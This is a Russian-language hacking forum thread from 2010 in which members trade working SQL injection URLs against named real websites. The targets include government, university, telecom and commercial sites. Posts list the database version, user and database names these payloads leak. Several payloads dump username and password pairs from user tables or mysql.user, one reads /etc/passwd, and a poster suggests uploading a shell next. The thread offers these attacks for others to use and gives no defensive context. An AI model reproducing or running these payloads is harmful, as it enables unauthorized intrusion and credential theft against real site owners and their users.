SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,254
    Likes Received:
    1,147
    Reputations:
    886
    http://ipsnorthamerica.net/news.php?idnews=2694+and+1=0+union+select+1,2,3,4,concat_ws(char(32,58,32),user(),version(),database(),@@version_compile_os),6,7,8,9,10,11,12,13,14,15

    PR-6
     
    _________________________
    4 people like this.
  2. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    611
    Likes Received:
    117
    Reputations:
    37
    Code:
    http://swc.com.ua/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,12,3,4+--+
    Version: 4.1.22-standard-log
    Database: student_SWC
    User: student_user@localhost
    PR - 1
    ТИЦ - 10
    Вот юзеры:
    Code:
    http://swc.com.ua/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat%28username,0x3a,password%29,2,3,4+from+jos_users--
    Только в админку доступа нет, идет редирект на морду.
     
    1 person likes this.
  3. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Code:
    http://www.crie.min-edu.pt/index.php?section=162-999.9+union+select+1,2,3,4,5,6,7,8,concat_ws(user(),version(),database()),10,11,12,13,14--
    PR 7
    вывод сверху
    version - 4.1.22
    user - mde@localhost
    database - mde
    Code:
    http://www.hbtheusden.nl/Content/base.php?ID=10-999.9+union+select+1,2,concat_ws(user(),version(),database()),4,5,6,7,8,9,10,11,12,13,14,15--
    PR 4
    вывод тоже сверху
    version - 5.0.67
    user - hbvt_hbvt@localhost
    database - hbvt_Hbt

    P.S. Мой первый скуль в паблике и надеюсь не байанный и не последний...
     
    #12343 ~d0s~, 21 Jun 2010
    Last edited: 21 Jun 2010
    2 people like this.
  4. rbul

    rbul Member

    Joined:
    19 May 2010
    Messages:
    10
    Likes Received:
    8
    Reputations:
    1
    PR 5

    Code:
    http://www.readingmatters.co.uk/book2.php?id=-235+union+select+1,concat_ws%280x3a,version%28%29,database%20%28%29,user%28%29%29,3,4,5,6,7,8,9%20--

    version : 5.0.67-community-log
    database : readingmatters
    user: davidmarshall@localhost
     
    #12344 rbul, 21 Jun 2010
    Last edited: 21 Jun 2010
    1 person likes this.
  5. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    pechory.library.ru
    PR - 8
    ТиЦ - 5400

    MySQL 4.1.20

    LOAD FILE:
    Code:
    http://pechory.library.ru/cls/smi/article.php?id=12+union+select+1,load_file('/etc/passwd'),3,4,5,6,7,8,9,10+from+mysql.user+--
    с ковычками проблем нет)
    ---------------------------------------------------------
    Sql Inj XSS:
    Code:
    http://pechory.library.ru/cls/smi/article.php?id=12+union+select+1,2,3,4,5,'<script>alert();</script>',7,8,9,10+from+mysql.user+--  
    ---------------------------------------------------------
    all:
    Code:
    http://pechory.library.ru/cls/smi/article.php?id=12+union+select+1,2,3,4,5,6,group_concat(0x0b,user,0x3a,password,0x3a,host,0x3a,file_priv),8,9,concat_ws(0x3a,@@version_compile_os,0x3a,user(),0x3a,version(),0x3a,database())+from+mysql.user+--
    Вам осталось только раскрыть пути и залить шелл=)
     
    6 people like this.
  6. oiki

    oiki New Member

    Joined:
    21 Jan 2010
    Messages:
    18
    Likes Received:
    0
    Reputations:
    0
    http://www.adaderana.lk/show.php?prid=-4+UNION+SELECT+concat_ws(user(),version(),database())--

    вывод в названии картинки :D
    PR4

    http://www.anca.org/press_releases/press_releases.php?prid=-999.9+UNION+SELECT+1,concat_ws(user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16--

    тиц 50 pr 6
     
  7. oiki

    oiki New Member

    Joined:
    21 Jan 2010
    Messages:
    18
    Likes Received:
    0
    Reputations:
    0
    http://www.mordauntshort.com/press_releases.php?PRID=7

    7 AND %тут выражение%
    Current DB: mordauntshort2007
    Tables: ms_admin
    id: 1
    username: ChrisSoutham
    password: :)

    ТИЦ70(R3) PR4
     
  8. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Сборочка

    accordsalud.com.ar pr 3
    Code:
    http://www.accordsalud.com.ar/php/turismo/destinos/alojamientos.php?id=34-999.9+union+select+1,2,concat_ws(user(),version(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16--
    version - 5.1.3.8-community
    user - up@localhost
    database - accord_salud


    vvaltena.nl тиц 10 pr 2
    Code:
    http://www.vvaltena.nl/default.php?id=47-999.9+union+select+1,concat_ws(user(),version(),database()),3--
    version - 5.1.47
    user - vvaltena@net3-nl-iis-94.ad.vevida.net
    database - vvaltena


    newmexicocreates.org pr 5
    Code:
    http://newmexicocreates.org/artists.php?id=1146-999.9+union+select+1,2,3,concat_ws(user(),version(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17--
    version - 4.1.22
    user - mnmadmin@que.newmex.com
    database - mnmfdb


    pustin2000.ru pr 2
    Code:
    http://www.pustin2000.ru/material.php?id=7-999.9+union+select+1,concat_ws(user(),version(),database()),3,4,5,6,7,8,9--
    version - 4.1.25
    user - pustin20@localhost
    database - wwwpustin2000ru


    polymery.ru тиц 60 pr 4
    Code:
    http://www.polymery.ru/material.php?id=3-999.9+union+select+1,concat_ws(user(),version(),database()),3--
    version - 5.0.88
    user - u44790@10.8.2.20
    database - u44790


    worldmusicinstitute.org тиц 10 pr 4
    Code:
    http://www.worldmusicinstitute.org/event.php?id=906-999.9+union+select+1,2,3,4,5,6,7,8,concat_ws(user(),version(),database()),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74--
    version - 4.1.25-Debian_mt1-log
    user - worldmusicinst@64.13.192.29
    database - worldmusicinstitute_org_-_ucms


    klimt02.net pr 5
    Code:
    http://www.klimt02.net/jewellers/index.php?item_id=11203-999.9+union+select+1,2,3,4,5,6,concat_ws(user(),version(),database()),8--
    version - 5.0.67-community
    user - klimt03_01@localhost
    database - klimt03_01


    thermos-russia.ru 20 тиц , pr 2
    Code:
    http://www.thermos-russia.ru/showimg.php?id=68-999.9+union+select+1,2,3,4,5,6,7,concat_ws(user(),version(),database()),9,10,11,12--
    version - 4.0.26
    user - thermo@aqua.di-net.ru
    database - thermo


    futureevents.ru тиц 20
    Code:
    http://www.futureevents.ru/event.php?id=86-999.9+union+select+1,concat_ws(user(),version(),database()),3,4,5,6,7--
    version - 5.0.45-community
    user - ntsison@localhost
    database - sison


    cosplay.compgamer.com pr 3
    Code:
    http://cosplay.compgamer.com/readnews.php?id=4848-999.9+union+select+1,concat_ws(user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46--
    version - 5.0.45-log
    user - compgamer_com@localhost
    database - compgamer_com_2


    P.S. Всё тщательно проверял на бойанность,но если где-то пропустил,извиняйте!
     
    1 person likes this.
  9. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,254
    Likes Received:
    1,147
    Reputations:
    886
    http://www.wordsfromreuben.com/2009/songs.php?rid=17+union+select+1,2,concat_ws(0x3a,user(),version(),database(),@@version_compile_os),4,5,6,7

    PR-4
     
    _________________________
    1 person likes this.
  10. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    РЕЧФЛОТ

    http://www.rechflot.ru/page/static.php?pn=-21+and+1=2+union+select+1,2,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),4+--


    version : 5.0.67-log
    user : h2rechf_mainuser@www5.100mb.ru
    database : :h2rechf_rechflot
    os : portbld-freebsd6.2

    таблица users

    /admin/...
     
    #12350 AC//DC, 21 Jun 2010
    Last edited: 21 Jun 2010
  11. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,254
    Likes Received:
    1,147
    Reputations:
    886
    http://hodi.org.zm/index.php?sid=1925+and+substring(version(),1,1)=4
     
    _________________________
    3 people like this.
  12. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Code:
    http://www.agribid.de/faq.pl?cat=16-999.9+union+select+1,concat_ws(user(),version(),database())--
    PR 4
    version - 5.0.67
    user - agribidde@localhost
    database - agribid
     
  13. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    232
    Likes Received:
    89
    Reputations:
    27
    http://info.web.lehigh.edu/EI/story.php?id=-5+union+select+1,2,3,4,5,6,group_concat(0x0b,user_name,0x3a,password),8+from+users--

    PR4

    http://www.woolstoneyes.co.uk/newsletter-story.php?id=-5+union+select+1,group_concat(0x0b,username,0x3a,password),3,4,5+from+users--

    PR6

    http://www.sussex.edu/news/story.php?id=-5+union+select+1,2,group_concat(0x0b,table_name)+from+information_schema.tables--

    PR4

    http://www.freechineselessons.com/story.php?id=-5+union+select+1,2,3,group_concat(0x0b,table_name),5+from+information_schema.tables--

    PR4

    http://www.rivervalleystampclub.org/story.php?id=-5+union+select+1,2,group_concat(0x0b,table_name),4,5,6,7+from+information_schema.tables--
     
    #12353 Bramin, 22 Jun 2010
    Last edited: 22 Jun 2010
    2 people like this.
  14. BlackFan

    BlackFan Member

    Joined:
    3 Jan 2009
    Messages:
    47
    Likes Received:
    40
    Reputations:
    32
    МегаФон.ru

    Code:
    http://volga.zamenigoodok.megafon.ru/modal/rbt_properties/rbtId/38878/rbtCode/-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8+--+
    user - root@10.97.0.35
    database - mgf
    version - 5.1.42


    А так же на многих остальных, где есть "Замени Гудок", посмотреть можно тут

    Code:
    http://www.megafon.ru/f/ru/gudok/index.html
     
    #12354 BlackFan, 22 Jun 2010
    Last edited: 22 Jun 2010
    5 people like this.
  15. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,254
    Likes Received:
    1,147
    Reputations:
    886
    http://www.fmnplc.com/news_details.php?recordID=-2046+union+select+1,aes_decrypt(aes_encrypt(group_concat(user,char(58),password),1),1),3,4+from+mysql.user--

    http://www.fmnplc.com/myadmin/

    http://www.fmnplc.com/news_details.php?recordID=-2046+union+select+1,aes_decrypt(aes_encrypt(concat_ws(0x3a,username,password),1),1),3,4+from+users--

    http://www.fmnplc.com/cms/
     
    _________________________
    1 person likes this.
  16. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    2,786
    Likes Received:
    399
    Reputations:
    230
    boulogne-developpement.com пр5
    Code:
    http://www.boulogne-developpement.com/parcs2.php?id=49+unIOn+sELEct+1,2,3,4,5,6,7,8,9,10,11,12+--+
    odno.nat.tn пр3
    Code:
    http://www.odno.nat.tn/fr/index.php?id=-9+union+select+1,2,3,4,5,6,7+--+
    intermobili.com
    Code:
    http://www.intermobili.com/ita/popfoto.php?inmod=acan&inseq=-40+union+select+version(),2,3,4,5+--+
    topalberghi.com пр2
    Code:
    http://www.topalberghi.com/popfoto.php?id=-4+uNIon+sELEct+1,2,concat_ws(0x3a3a,id,email,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from+admin+--+&num=1
    tourisme-montreuillois.com пр5
    Code:
    http://www.tourisme-montreuillois.com/loger_details.php?id=-6+uNIon+sELEct+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+&type=2&classement=2
    e-bcsystems.com
    Code:
    http://www.e-bcsystems.com/docDown.php?id=-13+union+select+1,2,concat_ws(0x3a3a,email,password),4,5,6,7,8,9,10,11+from+users+--+
    pilotimmobilier.com пр3
    Code:
    http://www.pilotimmobilier.com/site/_Conseil_immobilier_/General.php?rech=2&rub=-5+UniOn+SEleCt+unhex(hex(user()))+--+
    vsvgroup.ru пр3 тиц 30
    Code:
    http://www.vsvgroup.ru/catalog.php?type=-15+union+select+1,2,3,4,concat_ws(0x3a3a,login,pass),6,7+from+users+--+&maintext=true
    privcams.com пр4 AlexRank 263929
    Code:
    http://www.privcams.com/film.php?Lp=99999'+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10+from+information_schema.tables+group+by+table_schema+limit+1,1+--+
    e-sexspiele.com пр3
    Code:
    http://www.e-sexspiele.com/Vip/Erotikspiele_3D.php?Lp=-7'+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11+from+information_schema.tables+group+by+'+union+select+1,2,3,4,5,6+--+
    babeblvd.com пр3 Alex Rank 343490
    Code:
    http://www.babeblvd.com/videos/player.php?id=89&v=54'+union+select+1,2,3,4,5,6+--+
    bobbystube.com пр2 Alex Rank 12377
    Code:
    http://www.bobbystube.com/videos/player.php?id=-21226+union+select+1,concat_ws(0x3a3a,id,username,password),3,4,5,6+from+tps_users+--+&from=c
    wooltube.com пр2 Alex Rank 96986
    Code:
    http://www.wooltube.com/videos/player.php?id=-23230+union+select+1,group_concat(table_name),3,4,5,6+from+information_schema.tables+--+&from=c
    iclipart.com пр6 Alex Rank 21004
    Code:
    http://www.iclipart.com/download.php?iid=-197506'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,table_name,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114+from+information_schema.tables+--+&submit=&keys=spring&notkeys=&start=0&andor=AND&c1=&c2=&s1=&s2=&release1=&release2=&previewcheck=&cat=All&type=&rows=5&jump=0&period=&collection=&group=&tl=photos&adv=
    brushcountrymonsters.com
    Code:
    http://www.brushcountrymonsters.com/videos/player.php?id=-5'+uNIoN+sELeCT+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16+from+infOrmAtion_schEmA.tAblEs+group+by+table_Schema+limit+1,1+--+
    parissud130.org
    Code:
    http://www.parissud130.org/videos/desc_videos.php?vid=-435+union+select+1,2,3,4+--+
    hunt8.com Alex Rank 2322
    Code:
    http://www.hunt8.com/videos/player.php?id=-186779+union+select+1,concat_ws(0x3a3a,id,username,password),3,4,5,6+from+tps_users+--+&from=a
    fulltubemovies.com Alex Rank 1494
    Code:
    http://fulltubemovies.com/videos/player.php?id=-186779+union+select+1,table_name,3,4,5,6+from+information_schema.tables+limit+160,300+--+&from=a
     
    2 people like this.
  17. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    Сборочка №2 by ~d0s~

    laemmle.com pr 6 тиц 10
    Code:
    http://www.laemmle.com/viewmovie.php?mid=5116-999.9+union+select+1,2,3,4,5,6,concat_ws(user(),version(),database()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46--

    notamusica.com pr 2
    Code:
    http://www.notamusica.com/index.php?id=11-999.9+union+select+1,2,3,4,5,6,7,concat_ws(version(),user(),database()),9,10--
    tandem-org.de pr 6 тиц 10
    Code:
    http://www.tandem-org.de/start.php?seite_id=202-999.9+union+select+1,concat_ws(user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16--

    cafejos.org pr 1
    Code:
    http://www.cafejos.org/profileview.php?pr=28-999.9+union+select+1,concat_ws(user(),version(),database()),3,4,5,6,7--
    teamcompany.com pr 3
    Code:
    http://www.teamcompany.com/eng/imglb.php?img=27-999.9+union+select+1,2,3,4,5,6,7,8,9,concat_ws(user(),version(),database()),11--
    roughtrax4x4.com pr 2
    Code:
    http://www.roughtrax4x4.com/index.php?doc=87-999.9+union+select+1,2,concat_ws(user(),version(),database()),4,5,6,7,8,9,10,11--
    nepaltrekplan.com pr 1
    Code:
    http://www.nepaltrekplan.com/page.php?q=3-999.9+union+select+1,concat_ws(user(),version(),database()),3,4,5,6,7,8,9--
    difchihuahua.gob.mx pr 1
    Code:
    http://www.difchihuahua.gob.mx/nota.php?sec=5%26id=25-999.9+union+select+1,2,concat_ws(user(),version(),database()),4,5--
    losinformantes.com.mx pr 1
    Code:
    http://www.losinformantes.com.mx/Nota.php?sec=186-999.9+union+select+1,2,concat_ws(user(),version(),database()),4,5--
    reachdevelopment.com тиц 10 pr 3
    Code:
    http://reachdevelopment.com/about/press/article.php?pr=150-999.9+union+select+1,2,3,concat_ws(user(),version(),database()),5,6,7--
    indarsun.com pr 3
    Code:
    http://www.indarsun.com/_bin/ficha_noticia.php?mid=43-999.9+union+select+1,2,concat_ws(user(%20%20),version(),database()),4,5,6--
    P.S. Нигде ничего извлеч не пытался,выкладывал для вас,так что все в ваших руках.

    P.S.S. Вывод не всегда на видном месте,где-то в титле,где-то в исходном коде,смотрим внимательно!

    P.S.S.S Ждем сборочку №3 cегодня вечером или завтра днем!
     
    #12357 ~d0s~, 22 Jun 2010
    Last edited: 22 Jun 2010
    4 people like this.
  18. rbul

    rbul Member

    Joined:
    19 May 2010
    Messages:
    10
    Likes Received:
    8
    Reputations:
    1
    Code:
    http://www.tutpricol.ru/message.php?id=-115+union+select+1,concat_ws%280x3a,version%28%29,database%20%28%29,user%28%29%29,3,4,5,6,7%20--
    

    version : 4.1.25-log
    database : tutpric5_tutpricol
    user : tutpric5_root@localhost




    Code:
    http://zoo.kurgan.ru/informs.php?id=-99+union+select+1,table_name,3,4,5,6,7,8,9+from+information_schema.tables --
    version : 5.0.70
    user : spivak3@localhost
    database : spivak3

    Code:
    http://www.petazon.com/showcompany.php?id=-11177+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,TABLE_NAME,54,55,56,57,58,59,60,61,62+from+INFORMATION_SCHEMA.TABLES+limit+0,1%20--
    version : 5.0.89-community-log
    user : petazon_pet@localhost
    database : petazon_pet
     
    4 people like this.
  19. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    232
    Likes Received:
    89
    Reputations:
    27
    Министерство транспорта Уганды ;)

    http://www.works.go.ug/news_details.php?id=-5+union+select+group_concat(0x0b,table_name),2+from+information_schema.tables--

    PR5

    http://www.glassbox.tv/news/news_details.php?id=-5+union+select+1,group_concat(0x0b,table_name),3,4+from+information_schema.tables--

    http://www.abmsoft.de/news_details.php?id=-5+union+select+1,2,3,group_concat(0x0b,username,0x3a,pw,0x3a,id),5+from+abm_login--
     
    #12359 Bramin, 22 Jun 2010
    Last edited: 22 Jun 2010
    1 person likes this.
  20. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,548
    Likes Received:
    1,244
    Reputations:
    273
    http://www.rn-inform.ru/index.php?id=7+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os)+limit+1,1


    Database Version: 5.0.45
    Database name: roilsoft
    User name: roilsoft@localhost
    Os:suse-linux
     
    3 people like this.
Loading...
Thread Status:
Not open for further replies.